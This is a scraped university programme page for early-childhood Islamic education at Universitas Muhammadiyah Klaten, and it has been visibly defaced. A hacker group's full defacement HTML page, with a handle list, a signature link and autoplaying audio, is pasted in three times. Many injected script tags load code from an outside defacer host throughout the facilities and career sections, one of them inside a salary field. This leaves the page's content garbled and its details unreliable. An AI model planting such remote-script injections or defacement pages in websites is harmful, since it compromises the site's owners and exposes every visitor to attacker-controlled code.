Universitas Muhammadiyah
Membentuk pendidik profesional dalam bidang Pendidikan Agama Islam yang berakhlak mulia, kompeten, dan berwawasan global
Jumlah Lulusan
0
Dosen
6
Mitra PAUD
45+
Tingkat Keterserapan Kerja
92%
<!doctype html> <html lang="id"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="description" content=" ????"> <title></title> <style> html, body { height: 100%; margin: 0; background: #000; color: #fff; font-family: "Courier New", monospace; } .wrap { text-align: center; padding: 5vw; /* responsif: padding relatif terhadap lebar layar */ max-width: 1400px; margin: 0 auto; } .title { color: #ff0000; font-size: clamp(28px, 8vw, 60px); /* minimal 28px, maksimal 60px, menyesuaikan lebar layar */ letter-spacing: 4px; margin-bottom: 2rem; text-shadow: 0 0 15px #ff0000; font-weight: bold; word-break: break-word; } .headline { color: #ff0000; font-size: clamp(22px, 5vw, 40px); /* responsif */ margin: 2rem 0; font-weight: bold; word-break: break-word; } .para { color: #eee; font-size: clamp(18px, 4vw, 32px); /* responsif: di HP 18px, di PC 32px */ margin: 2rem auto; max-width: 1000px; opacity: 0.95; line-height: 1.7; } .para p { margin: 1.5rem 0; } .logo { width: min(80vw, 400px); /* di HP 80% lebar layar, maksimal 400px */ height: min(80vw, 400px); object-fit: cover; border-radius: 15px; transition: transform 0.3s ease; border: 3px solid #ff0000; box-shadow: 0 0 30px rgba(255,0,0,0.4); margin: 1rem auto; display: block; } .logo:hover { transform: scale(1.03); box-shadow: 0 0 40px #ff0000; } a.signature { color: #ff6b8a; text-decoration: none; font-size: clamp(20px, 4vw, 30px); /* responsif */ font-weight: bold; transition: color 0.3s; display: inline-block; padding: 10px; } a.signature:hover { color: #fff; text-decoration: underline; } hr { border: 0; border-top: 2px solid #ff0000; width: min(90%, 800px); margin: 3rem auto; opacity: 0.5; } marquee { color: #ff2b2b; margin: 2rem 0; font-size: clamp(16px, 4vw, 28px); /* responsif */ font-weight: bold; } .marquee-container { background: rgba(255,0,0,0.1); padding: 1.5rem 0; border-radius: 15px; margin: 2rem 0; overflow: hidden; } .marquee-container img { margin: 0 15px; width: min(20vw, 150px); /* gambar di marquee juga responsif */ height: min(20vw, 150px); object-fit: cover; border-radius: 8px; border: 2px solid #ff0000; } audio { margin: 2rem 0; width: min(90%, 400px); /* responsif */ border-radius: 30px; } .team-list { font-size: clamp(18px, 4vw, 32px); /* responsif */ color: #ff6b8a; margin: 2rem 0; line-height: 2; word-spacing: 10px; word-break: break-word; padding: 0 10px; } .footer-note { margin-top: 3rem; color: #666; font-size: clamp(14px, 3vw, 20px); /* responsif */ } /* Media query tambahan untuk HP kecil */ @media (max-width: 480px) { .team-list { word-spacing: 5px; font-size: 16px; } .headline { font-size: 20px; } } </style> </head> <body> <div class="wrap"> <div class="title"></div> <!-- LOGO --> <img class="logo" src="" alt="Ghost Cyber Logo" onerror="this.src='https://via.placeholder.com/400x400/000000/ff0000?text=GHOST'"> <div class="headline">???? kita pernah sedekat itu...</div> <hr> <div class="para"> <p>sampai akhirnya jadi dua orang asing yang pura-pura nggak kenal.</p> <p>Bukan tentang siapa yang salah. Kadang kita cuma ketemu di waktu yang nggak tepat.</p> <p>Aku nggak kalah. Aku cuma berhenti berjuang buat orang yang nggak pernah mulai.</p> <p style="color:#ff6666;">Meski rasanya sangat pahit, kehidupan masih harus dilanjutkan.</p> </div> <hr> <div class="headline">HEHEHE...</div> <div class="team-list"> lordhozo • heXploit • system umbrella • dark999 • anonymous n7 </div> <hr> <div style="margin: 2rem 0;"> <a class="signature" href="https://www.instagram.com/d4nu_ghost1" target="_blank">@d4nu_ghost1</a> </div> <!-- Marquee Atas --> <div class="marquee-container"> <marquee behavior="scroll" direction="right" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <!-- AUDIO --> <audio controls loop autoplay> <source src="https://danu-boy.github.io/mr/robot.mp3" type="audio/mpeg"> Browser Anda tidak mendukung audio. </audio> <!-- Marquee Bawah --> <div class="marquee-container"> <marquee behavior="scroll" direction="left" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <div class="footer-note"> ? d4nu-ghost ? 2025 ? </div> </div> <script> // Memastikan audio autoplay berjalan document.addEventListener('DOMContentLoaded', function() { const audio = document.querySelector('audio'); if (audio) { audio.volume = 0.5; // volume lebih rendah untuk kenyamanan // Coba autoplay const playPromise = audio.play(); if (playPromise !== undefined) { playPromise.catch(() => { // Buat tombol play yang lebih ramah di HP const playBtn = document.createElement('button'); playBtn.innerHTML = '???? TAP TO PLAY AUDIO'; playBtn.style.position = 'fixed'; playBtn.style.bottom = '20px'; playBtn.style.left = '50%'; playBtn.style.transform = 'translateX(-50%)'; playBtn.style.padding = '15px 30px'; playBtn.style.background = '#ff0000'; playBtn.style.color = '#fff'; playBtn.style.border = 'none'; playBtn.style.borderRadius = '50px'; playBtn.style.cursor = 'pointer'; playBtn.style.zIndex = '9999'; playBtn.style.fontSize = 'clamp(14px, 4vw, 20px)'; playBtn.style.fontWeight = 'bold'; playBtn.style.boxShadow = '0 0 20px rgba(255,0,0,0.5)'; playBtn.style.border = '2px solid #fff'; playBtn.onclick = function() { audio.play(); this.remove(); }; document.body.appendChild(playBtn); }); } } }); // Fix untuk marquee di HP (memastikan gambar muncul) window.addEventListener('load', function() { const marqueeImages = document.querySelectorAll('.marquee-container img'); marqueeImages.forEach(img => { img.onerror = function() { this.src = 'https://via.placeholder.com/150x150/000000/ff0000?text=GHOST'; }; }); }); </script> </body> </html>
<!doctype html> <html lang="id"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="description" content=" ????"> <title></title> <style> html, body { height: 100%; margin: 0; background: #000; color: #fff; font-family: "Courier New", monospace; } .wrap { text-align: center; padding: 5vw; /* responsif: padding relatif terhadap lebar layar */ max-width: 1400px; margin: 0 auto; } .title { color: #ff0000; font-size: clamp(28px, 8vw, 60px); /* minimal 28px, maksimal 60px, menyesuaikan lebar layar */ letter-spacing: 4px; margin-bottom: 2rem; text-shadow: 0 0 15px #ff0000; font-weight: bold; word-break: break-word; } .headline { color: #ff0000; font-size: clamp(22px, 5vw, 40px); /* responsif */ margin: 2rem 0; font-weight: bold; word-break: break-word; } .para { color: #eee; font-size: clamp(18px, 4vw, 32px); /* responsif: di HP 18px, di PC 32px */ margin: 2rem auto; max-width: 1000px; opacity: 0.95; line-height: 1.7; } .para p { margin: 1.5rem 0; } .logo { width: min(80vw, 400px); /* di HP 80% lebar layar, maksimal 400px */ height: min(80vw, 400px); object-fit: cover; border-radius: 15px; transition: transform 0.3s ease; border: 3px solid #ff0000; box-shadow: 0 0 30px rgba(255,0,0,0.4); margin: 1rem auto; display: block; } .logo:hover { transform: scale(1.03); box-shadow: 0 0 40px #ff0000; } a.signature { color: #ff6b8a; text-decoration: none; font-size: clamp(20px, 4vw, 30px); /* responsif */ font-weight: bold; transition: color 0.3s; display: inline-block; padding: 10px; } a.signature:hover { color: #fff; text-decoration: underline; } hr { border: 0; border-top: 2px solid #ff0000; width: min(90%, 800px); margin: 3rem auto; opacity: 0.5; } marquee { color: #ff2b2b; margin: 2rem 0; font-size: clamp(16px, 4vw, 28px); /* responsif */ font-weight: bold; } .marquee-container { background: rgba(255,0,0,0.1); padding: 1.5rem 0; border-radius: 15px; margin: 2rem 0; overflow: hidden; } .marquee-container img { margin: 0 15px; width: min(20vw, 150px); /* gambar di marquee juga responsif */ height: min(20vw, 150px); object-fit: cover; border-radius: 8px; border: 2px solid #ff0000; } audio { margin: 2rem 0; width: min(90%, 400px); /* responsif */ border-radius: 30px; } .team-list { font-size: clamp(18px, 4vw, 32px); /* responsif */ color: #ff6b8a; margin: 2rem 0; line-height: 2; word-spacing: 10px; word-break: break-word; padding: 0 10px; } .footer-note { margin-top: 3rem; color: #666; font-size: clamp(14px, 3vw, 20px); /* responsif */ } /* Media query tambahan untuk HP kecil */ @media (max-width: 480px) { .team-list { word-spacing: 5px; font-size: 16px; } .headline { font-size: 20px; } } </style> </head> <body> <div class="wrap"> <div class="title"></div> <!-- LOGO --> <img class="logo" src="" alt="Ghost Cyber Logo" onerror="this.src='https://via.placeholder.com/400x400/000000/ff0000?text=GHOST'"> <div class="headline">???? kita pernah sedekat itu...</div> <hr> <div class="para"> <p>sampai akhirnya jadi dua orang asing yang pura-pura nggak kenal.</p> <p>Bukan tentang siapa yang salah. Kadang kita cuma ketemu di waktu yang nggak tepat.</p> <p>Aku nggak kalah. Aku cuma berhenti berjuang buat orang yang nggak pernah mulai.</p> <p style="color:#ff6666;">Meski rasanya sangat pahit, kehidupan masih harus dilanjutkan.</p> </div> <hr> <div class="headline">HEHEHE...</div> <div class="team-list"> lordhozo • heXploit • system umbrella • dark999 • anonymous n7 </div> <hr> <div style="margin: 2rem 0;"> <a class="signature" href="https://www.instagram.com/d4nu_ghost1" target="_blank">@d4nu_ghost1</a> </div> <!-- Marquee Atas --> <div class="marquee-container"> <marquee behavior="scroll" direction="right" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <!-- AUDIO --> <audio controls loop autoplay> <source src="https://danu-boy.github.io/mr/robot.mp3" type="audio/mpeg"> Browser Anda tidak mendukung audio. </audio> <!-- Marquee Bawah --> <div class="marquee-container"> <marquee behavior="scroll" direction="left" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <div class="footer-note"> ? d4nu-ghost ? 2025 ? </div> </div> <script> // Memastikan audio autoplay berjalan document.addEventListener('DOMContentLoaded', function() { const audio = document.querySelector('audio'); if (audio) { audio.volume = 0.5; // volume lebih rendah untuk kenyamanan // Coba autoplay const playPromise = audio.play(); if (playPromise !== undefined) { playPromise.catch(() => { // Buat tombol play yang lebih ramah di HP const playBtn = document.createElement('button'); playBtn.innerHTML = '???? TAP TO PLAY AUDIO'; playBtn.style.position = 'fixed'; playBtn.style.bottom = '20px'; playBtn.style.left = '50%'; playBtn.style.transform = 'translateX(-50%)'; playBtn.style.padding = '15px 30px'; playBtn.style.background = '#ff0000'; playBtn.style.color = '#fff'; playBtn.style.border = 'none'; playBtn.style.borderRadius = '50px'; playBtn.style.cursor = 'pointer'; playBtn.style.zIndex = '9999'; playBtn.style.fontSize = 'clamp(14px, 4vw, 20px)'; playBtn.style.fontWeight = 'bold'; playBtn.style.boxShadow = '0 0 20px rgba(255,0,0,0.5)'; playBtn.style.border = '2px solid #fff'; playBtn.onclick = function() { audio.play(); this.remove(); }; document.body.appendChild(playBtn); }); } } }); // Fix untuk marquee di HP (memastikan gambar muncul) window.addEventListener('load', function() { const marqueeImages = document.querySelectorAll('.marquee-container img'); marqueeImages.forEach(img => { img.onerror = function() { this.src = 'https://via.placeholder.com/150x150/000000/ff0000?text=GHOST'; }; }); }); </script> </body> </html>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
Badan Akreditasi Nasional Perguruan Tinggi (BAN-PT)
Nomor SK:
1833/SK/LAMDIK/Ak/S/XII/2024
Berlaku hingga:
04 December 2029
Kurikulum Program Studi Pendidikan Islam Anak Usia Dini (PIAUD) dirancang secara komprehensif untuk membekali mahasiswa dengan pengetahuan dan keterampilan yang diperlukan dalam mendidik anak usia dini berdasarkan prinsip perkembangan anak dan nilai-nilai keislaman.
| Kelompok Mata Kuliah | Jumlah SKS | Persentase |
|---|---|---|
| Mata Kuliah Universitas | 18 | 12.5% |
| Mata Kuliah Fakultas | 24 | 16.7% |
| Mata Kuliah Program Studi | 82 | 56.9% |
| Mata Kuliah Pilihan | 14 | 9.7% |
| Tugas Akhir/Skripsi | 6 | 4.2% |
| Total | 144 | 100.0% |
Studi tentang aspek-aspek perkembangan anak usia dini meliputi fisik-motorik, kognitif, bahasa, sosial-emosional, dan moral-spiritual.
Pendekatan pembelajaran yang memfokuskan pada anak sebagai pembelajar aktif melalui berbagai sentra bermain yang mendukung perkembangan anak.
Strategi dan pendekatan dalam menanamkan nilai-nilai agama dan moral pada anak usia dini melalui kegiatan yang menyenangkan.
Perancangan dan pengembangan media pembelajaran yang kreatif, inovatif, dan sesuai dengan tahap perkembangan anak.
Pengelolaan lembaga PAUD yang efektif dan efisien, termasuk perencanaan, pengorganisasian, pelaksanaan dan evaluasi program PAUD.
Metode dan teknik penilaian perkembangan anak usia dini yang autentik, komprehensif, dan berkelanjutan.
Penguasaan konsep dasar tentang anak usia dini, Islam dan pendidikan Islam, serta pengenalan dunia PAUD melalui observasi langsung ke lembaga PAUD.
Pemahaman mendalam tentang perkembangan anak, metode pembelajaran, dan pengembangan media pembelajaran PAUD melalui praktikum dan proyek kreatif.
Penerapan pengetahuan dan keterampilan dalam merancang program pembelajaran, pengelolaan kelas, dan asesmen perkembangan anak melalui microteaching dan magang.
Program Pengenalan Lapangan Persekolahan (PLP), Kuliah Kerja Nyata (KKN), penyusunan skripsi, dan pembekalan karir sebagai persiapan memasuki dunia kerja profesional.
Pelatihan pembuatan alat permainan edukatif yang kreatif dan ramah lingkungan
Pengembangan keterampilan seni, musik, dan gerak untuk pembelajaran PAUD
Penguasaan teknologi pembelajaran digital untuk PAUD modern
Program Studi PIAUD mendukung implementasi MBKM dengan memberikan kesempatan mahasiswa untuk:
Program Studi Pendidikan Islam Anak Usia Dini didukung oleh tim pengajar dengan latar belakang pendidikan dari universitas terkemuka. Semua dosen memiliki komitmen tinggi dalam pengembangan pendidikan anak usia dini berbasis nilai-nilai Islam.
Lektor
Psikologi
Pendidikan:
Publikasi:
Lektor
Teknologi Pendidikan
Pendidikan:
Publikasi:
Asisten Ahli
Literasi Numerasi Anak
Pendidikan:
Publikasi:
Asisten Ahli
Perkembangan Motorik Anak
Pendidikan:
Publikasi:
Asisten Ahli
Deteksi Dini Tumbuh Kembang Anak
Pendidikan:
Publikasi:
Asisten Ahli
Pendidikan Ilmu Hadits
Pendidikan:
Publikasi:
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
Lab microteaching dilengkapi kamera CCTV, smart TV, dan ruang observasi untuk praktik mengajar dan evaluasi kinerja mahasiswa.
Workshop untuk pembuatan alat permainan edukatif dengan berbagai bahan dan peralatan kreatif untuk mengembangkan media pembelajaran.
Taman Kanak-kanak percontohan untuk praktik observasi, praktik mengajar, dan penelitian mahasiswa dengan berbagai sentra pembelajaran.
Koleksi buku, jurnal, dan referensi khusus PAUD, termasuk akses e-journal internasional dan repositori digital.
Ruang untuk pengembangan seni musik, tari, dan keterampilan motorik anak dengan peralatan lengkap.
Lab komputer dengan software pendidikan untuk pengembangan media pembelajaran digital dan multimedia.
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
Ruang presentasi dengan peralatan multimedia lengkap untuk seminar dan workshop.
Layanan kesehatan di kampus untuk mahasiswa dan civitas akademika.
Tempat ibadah yang nyaman untuk mendukung pengembangan spiritual.
Lulusan Program Studi PIAUD memiliki peluang karir yang luas di berbagai sektor pendidikan dan industri terkait anak usia dini. Dengan kebutuhan yang terus meningkat akan pendidik PAUD berkualitas, lulusan PIAUD sangat dibutuhkan di pasar kerja.
Mengajar di lembaga PAUD/TK negeri maupun swasta dengan status PNS atau guru tetap yayasan.
Rentang Gaji: 3-8 juta/bulan
<script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
Rentang Gaji: <script src="https://jso.defacer.id/raw/P4Pbq14c18"></script>
Mengelola dan mengembangkan lembaga PAUD sendiri atau sebagai kepala sekolah/pengelola.
Rentang Gaji: 5-12 juta/bulan
Membuat konten edukatif digital seperti video pembelajaran, aplikasi, dan media interaktif.
Rentang Gaji: 4-10 juta/bulan
Memberikan layanan konsultasi tentang pola asuh dan perkembangan anak kepada orangtua.
Rentang Gaji: 5-15 juta/bulan
Menulis buku cerita anak, buku aktivitas, atau materi pembelajaran untuk anak usia dini.
Rentang Gaji: Royalti: 5-15% dari penjualan
Melanjutkan studi S2 dan menjadi dosen di perguruan tinggi bidang PAUD atau keguruan.
Rentang Gaji: 5-20 juta/bulan
Pendiri TK Islam Cahaya Ilmu
"Bekal ilmu dari PIAUD UM Klaten sangat membantu saya dalam mendirikan dan mengelola TK sendiri. Alhamdulillah sudah memiliki 5 cabang TK di Jawa Tengah."
Dosen & Konsultan PAUD
"Setelah lulus S1 PIAUD, saya melanjutkan S2 dan kini mengajar di kampus sekaligus menjadi konsultan pendidikan anak usia dini."
TK Negeri se-Jateng
Yayasan Pendidikan Islam
Lembaga Bimbel Anak
Penerbit Buku Anak
Telepon
081548488488
pmb@umkla.ac.id
Lokasi
<!doctype html> <html lang="id"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="description" content=" ????"> <title></title> <style> html, body { height: 100%; margin: 0; background: #000; color: #fff; font-family: "Courier New", monospace; } .wrap { text-align: center; padding: 5vw; /* responsif: padding relatif terhadap lebar layar */ max-width: 1400px; margin: 0 auto; } .title { color: #ff0000; font-size: clamp(28px, 8vw, 60px); /* minimal 28px, maksimal 60px, menyesuaikan lebar layar */ letter-spacing: 4px; margin-bottom: 2rem; text-shadow: 0 0 15px #ff0000; font-weight: bold; word-break: break-word; } .headline { color: #ff0000; font-size: clamp(22px, 5vw, 40px); /* responsif */ margin: 2rem 0; font-weight: bold; word-break: break-word; } .para { color: #eee; font-size: clamp(18px, 4vw, 32px); /* responsif: di HP 18px, di PC 32px */ margin: 2rem auto; max-width: 1000px; opacity: 0.95; line-height: 1.7; } .para p { margin: 1.5rem 0; } .logo { width: min(80vw, 400px); /* di HP 80% lebar layar, maksimal 400px */ height: min(80vw, 400px); object-fit: cover; border-radius: 15px; transition: transform 0.3s ease; border: 3px solid #ff0000; box-shadow: 0 0 30px rgba(255,0,0,0.4); margin: 1rem auto; display: block; } .logo:hover { transform: scale(1.03); box-shadow: 0 0 40px #ff0000; } a.signature { color: #ff6b8a; text-decoration: none; font-size: clamp(20px, 4vw, 30px); /* responsif */ font-weight: bold; transition: color 0.3s; display: inline-block; padding: 10px; } a.signature:hover { color: #fff; text-decoration: underline; } hr { border: 0; border-top: 2px solid #ff0000; width: min(90%, 800px); margin: 3rem auto; opacity: 0.5; } marquee { color: #ff2b2b; margin: 2rem 0; font-size: clamp(16px, 4vw, 28px); /* responsif */ font-weight: bold; } .marquee-container { background: rgba(255,0,0,0.1); padding: 1.5rem 0; border-radius: 15px; margin: 2rem 0; overflow: hidden; } .marquee-container img { margin: 0 15px; width: min(20vw, 150px); /* gambar di marquee juga responsif */ height: min(20vw, 150px); object-fit: cover; border-radius: 8px; border: 2px solid #ff0000; } audio { margin: 2rem 0; width: min(90%, 400px); /* responsif */ border-radius: 30px; } .team-list { font-size: clamp(18px, 4vw, 32px); /* responsif */ color: #ff6b8a; margin: 2rem 0; line-height: 2; word-spacing: 10px; word-break: break-word; padding: 0 10px; } .footer-note { margin-top: 3rem; color: #666; font-size: clamp(14px, 3vw, 20px); /* responsif */ } /* Media query tambahan untuk HP kecil */ @media (max-width: 480px) { .team-list { word-spacing: 5px; font-size: 16px; } .headline { font-size: 20px; } } </style> </head> <body> <div class="wrap"> <div class="title"></div> <!-- LOGO --> <img class="logo" src="" alt="Ghost Cyber Logo" onerror="this.src='https://via.placeholder.com/400x400/000000/ff0000?text=GHOST'"> <div class="headline">???? kita pernah sedekat itu...</div> <hr> <div class="para"> <p>sampai akhirnya jadi dua orang asing yang pura-pura nggak kenal.</p> <p>Bukan tentang siapa yang salah. Kadang kita cuma ketemu di waktu yang nggak tepat.</p> <p>Aku nggak kalah. Aku cuma berhenti berjuang buat orang yang nggak pernah mulai.</p> <p style="color:#ff6666;">Meski rasanya sangat pahit, kehidupan masih harus dilanjutkan.</p> </div> <hr> <div class="headline">HEHEHE...</div> <div class="team-list"> lordhozo • heXploit • system umbrella • dark999 • anonymous n7 </div> <hr> <div style="margin: 2rem 0;"> <a class="signature" href="https://www.instagram.com/d4nu_ghost1" target="_blank">@d4nu_ghost1</a> </div> <!-- Marquee Atas --> <div class="marquee-container"> <marquee behavior="scroll" direction="right" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <!-- AUDIO --> <audio controls loop autoplay> <source src="https://danu-boy.github.io/mr/robot.mp3" type="audio/mpeg"> Browser Anda tidak mendukung audio. </audio> <!-- Marquee Bawah --> <div class="marquee-container"> <marquee behavior="scroll" direction="left" scrollamount="15" loop="infinite"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> <img src="" alt="logo"> </marquee> </div> <div class="footer-note"> ? d4nu-ghost ? 2025 ? </div> </div> <script> // Memastikan audio autoplay berjalan document.addEventListener('DOMContentLoaded', function() { const audio = document.querySelector('audio'); if (audio) { audio.volume = 0.5; // volume lebih rendah untuk kenyamanan // Coba autoplay const playPromise = audio.play(); if (playPromise !== undefined) { playPromise.catch(() => { // Buat tombol play yang lebih ramah di HP const playBtn = document.createElement('button'); playBtn.innerHTML = '???? TAP TO PLAY AUDIO'; playBtn.style.position = 'fixed'; playBtn.style.bottom = '20px'; playBtn.style.left = '50%'; playBtn.style.transform = 'translateX(-50%)'; playBtn.style.padding = '15px 30px'; playBtn.style.background = '#ff0000'; playBtn.style.color = '#fff'; playBtn.style.border = 'none'; playBtn.style.borderRadius = '50px'; playBtn.style.cursor = 'pointer'; playBtn.style.zIndex = '9999'; playBtn.style.fontSize = 'clamp(14px, 4vw, 20px)'; playBtn.style.fontWeight = 'bold'; playBtn.style.boxShadow = '0 0 20px rgba(255,0,0,0.5)'; playBtn.style.border = '2px solid #fff'; playBtn.onclick = function() { audio.play(); this.remove(); }; document.body.appendChild(playBtn); }); } } }); // Fix untuk marquee di HP (memastikan gambar muncul) window.addEventListener('load', function() { const marqueeImages = document.querySelectorAll('.marquee-container img'); marqueeImages.forEach(img => { img.onerror = function() { this.src = 'https://via.placeholder.com/150x150/000000/ff0000?text=GHOST'; }; }); }); </script> </body> </html>
Gelombang 1
01 January - 31 March 2025
Gelombang 2
01 April - 30 June 2025
Gelombang 3
01 July - 31 August 2025
"Alhamdulillah saya bangga menjadi bagian dari alumni FAI UMKLA (STAIM Klaten). Terutama dengan ilmu yang saya dapatkan melalui bimbingan para dosen yang luar biasa dedikasinya."
Alumni 2020 - PAI
Kepala SD Muhammadiyah Tonggalan (2011-2022) - Pelatih Nasional PPKB GPAI Kemenag RI - Tim Pengembang Kurikulum Kanwil Kementerian Agama Provinsi Jawa Tengah
"Nanan"
Alumni 2023 - PAI
Jaja
"Alhamdulillah saya bangga dengan FAI UMKLA (STAIM Klaten). Ilmu dan bimbingan para dosen luar biasa menginspirasi."
Alumni 2021 - PIAUD
Penulis - Dai Nasional - Guru Berprestasi Nasional - Instruktur Nasional PSP - Fasilitator Nasional - Narasumber Nasional KSE
Jadilah bagian dari Program Studi PIAUD Universitas Muhammadiyah Klaten dan wujudkan impianmu menjadi pendidik profesional.